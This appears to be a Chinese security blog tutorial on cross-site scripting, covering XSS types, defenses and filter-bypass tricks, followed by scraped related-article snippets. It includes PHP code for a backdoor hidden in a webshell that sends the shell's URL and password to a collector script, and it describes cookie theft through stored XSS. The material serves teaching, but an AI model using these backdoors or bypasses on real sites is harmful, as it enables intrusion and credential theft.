渗透之路基础 -- 跨站脚本攻击XSS
漏洞原理及防御
XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫Xss,中文名叫跨站脚本攻击。
xss攻击,主要就是攻击者通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击方式。
危害
可以盗取用户Cookie
挂马(水坑攻击)
在用户经常访问的网站,利用网站的漏洞植入攻击代码,访问者终端会被植入恶意程序或者直接盗取信息
蠕虫(需要结合CSRF)
局限性的键盘记录
防御
- 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。
- 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空。
XSS 原理分析:输出问题导致js代码被识别执行
漏洞产生:输出问题
又返回结果1
,如果注入脚本代码
这就是一个简单的反射型xss
XSS 技术分类
反射性跨站(非持续型)
经过服务器,没有和数据库有交集
存储型跨站(持续型)
是直接写入数据库,保持持久性,经过服务器
DOM XSS
效果上说也是反射型XSS,但是这种XSS完全存在于客户端,不会经过服务器,直接和js拼接输出到页面
Cookie盗取
利用原理:
通过在评论区插入存储型XSS脚本,每次用户访问都会加载评论中的恶意脚本,导致本地cookie被发送到攻击者平台
拿到webshell后,修改登录成功后的页面,插入xss获取cookie的脚本代码
XSS平台
// 页面底植入xss代码
<script src=""></script> // xss平台中的脚本
基于Xss的WebShell箱子的攻击
通过在网站后台植入Xss代码将获取到的信息发送到渗透的网站中
help.php (后门)
<?php
// 正常的大马程序
// 植入Xss
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // 百度查找相应的代码
// 输出获取到的大马路径和密码,发送到自己的渗透网站中,url值可以相应修改为xss跨站获取cookie的代码
echo "<script src=http://127.0.0.1/Webshell/index.php?u=$url&p=$password></script>"
?>
index.php (接受传来的信息)
<?php
$url=$_GET['u'];
$pass=$_GET['p'];
// 可以修改为写入数据库操作
$file=fopen('webshell.html','a+');
fwrite($file,$url);
fwrite($file,"<br>");
fwrite($file,$pass);
fwrite($file,"<br>");
fclose($file);
?>
模拟:
假设这是某黑客A上传的 带有黑客B植入的后门代码的大马,会将大马的消息发送到黑客B的WebShell箱子中
黑客B接收的盒子信息
这就是WebShell盒子入侵事件
如果将xss代码改为获取cookie就可以获取到权限
XSS相关防护过滤及绕过分析(参考链接)
https://www.freebuf.com/articles/web/153055.html
https://www.secpulse.com/archives/57411.html
防护:
- 关键字过滤
- 特殊符号过滤
- 字符串长度过滤
- 转义编码防护
绕过:
改变大小写
使用空白符
- %00
Hex编码
其他标签调用
Js自带函数
String.fromCharCode(88,83,83)
转换ACSII码转换成字符绕过 alert(1) 被过滤
用eval函数执行,其中需要转换编码格式
将 alert 转换Unicode编码
实战知识点
通过闭合标签
首先闭合 无效
尝试再闭合上一层
可以弹窗
大小写绕过
双写绕过
换注入标签
添加定位符
#
渗透之路基础 -- 跨站脚本攻击XSS的更多相关文章
- 记录一次网站漏洞修复过程(三):第二轮处理(拦截SQL注入、跨站脚本攻击XSS)
在程序编写的时候采用参数化的SQL语句可以有效的防止SQL注入,但是当程序一旦成型,再去修改大量的数据库执行语句并不是太现实,对网页表单上输入进行校验是易于实现的方法.在webForm 页面中开启校验 ...
- 跨站脚本攻击XSS(二)——session劫持
转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小 ...
- 跨站脚本攻击XSS
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到 ...
- 跨站脚本攻击xss学习
0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: ...
- [Web安全之实战] 跨站脚本攻击XSS
Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points: 1. 认识XSS 2. ...
- java防范跨站脚本攻击(XSS)
网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加fi ...
- 渗透之路基础 -- SQL注入
目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...
- 跨站脚本攻击(xss)理解
一 概念 攻击者不直接攻击受害者,而是利用受害者登陆的网站中的漏洞,对受害者进行攻击. 二 危害 由于js本身的限制,并不能直接对用户的电脑造成侵害,但是可以: 1. 获取用户的storage,c ...
- 网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...
随机推荐
- WMI_COM_API
Win32_Processor // CPU 处理器 Win32_PhysicalMemory // 物理内存 Win32_Keyboard // 键盘 Win32_PointingDevice // ...
- 小白之入口即化——十分钟看懂while循环,字符串格式化,运算符
while循环 while循环-死循环 while空格+条件+冒号 缩进+循环体 3.打断死循环 break--终止当前循环 while True: print(123) print(234) bre ...
- 常用的re模块的正则匹配的表达式
07.01自我总结 常用的re模块的正则匹配的表达式 一.校验数字的表达式 1.数字 ^[0-9]\*$ 2.n位的数字 ^\d{n}$ 3.至少n位的数字 ^\d{n,}$ 4.m-n位的数字 ^\ ...
- 深入理解 JavaScript 单例模式 (Singleton Pattern)
概念 单例模式,也叫单子模式,是一种常用的软件设计模式.在应用这个模式时,单例对象的类必须保证只有一个实例存在. 核心:确保只有一个实例,并提供全局访问. 实现思路 一个类能返回对象一个引用(永远是同 ...
- 庖丁解牛Linux内核分析 0x00:《庖丁解牛》
庖丁解牛 吾生也有涯,而知也无涯 .以有涯随无涯,殆已!已而为知者,殆而已矣!为善无近名,为恶无近刑.缘督以为经,可以保身,可以全生,可以养亲,可以尽年. 庖丁为文惠君解牛,手之所触,肩之所倚,足之 ...
- CentOS 下配置JDK
从官网上下载jdk到系统中,并解压好 tar –axvf jdk.tr.gz 1. PATH环境变量.作用是指定命令搜索路径,在shell下面执行命令时,它会到PATH变量所指定的路径中查找看是否能找 ...
- python课堂整理17---文件操作(上)
1.在同一目录下新建文本文件 “爱了” 2.在该文件下写入内容,同时留意pycharm右下角的编码格式为 utf- 8 3.下面程序中的read函数会索引系统默认的编码格式,winx下是gbk ,所以 ...
- java练习---15
package cn.lyh; public class L { //斐波那契数列 public static void main(String[] args) { int []arr = new i ...
- 逆向MFC程序
目录 @ 1 MFC执行流程 1.1 环境支持 1.2 分析 1.3 实践探索 1.3.1 创建一个MFC程序 1.3.2 下关键断点并调试 1.4 转向MFC库源文件中观测 2 逆向 2.1 特征码 ...
- 应用性能测试神器 Gatling,你用过吗?
在应用程序上线之前,有多少人做过性能测试? 估计大部分开发者更多地关注功能测试,并且会提供一些单元测试和集成测试的用例.然而,有时候性能漏洞导致的影响比未发现的业务漏洞更严重,因为性能漏洞影响的是整个 ...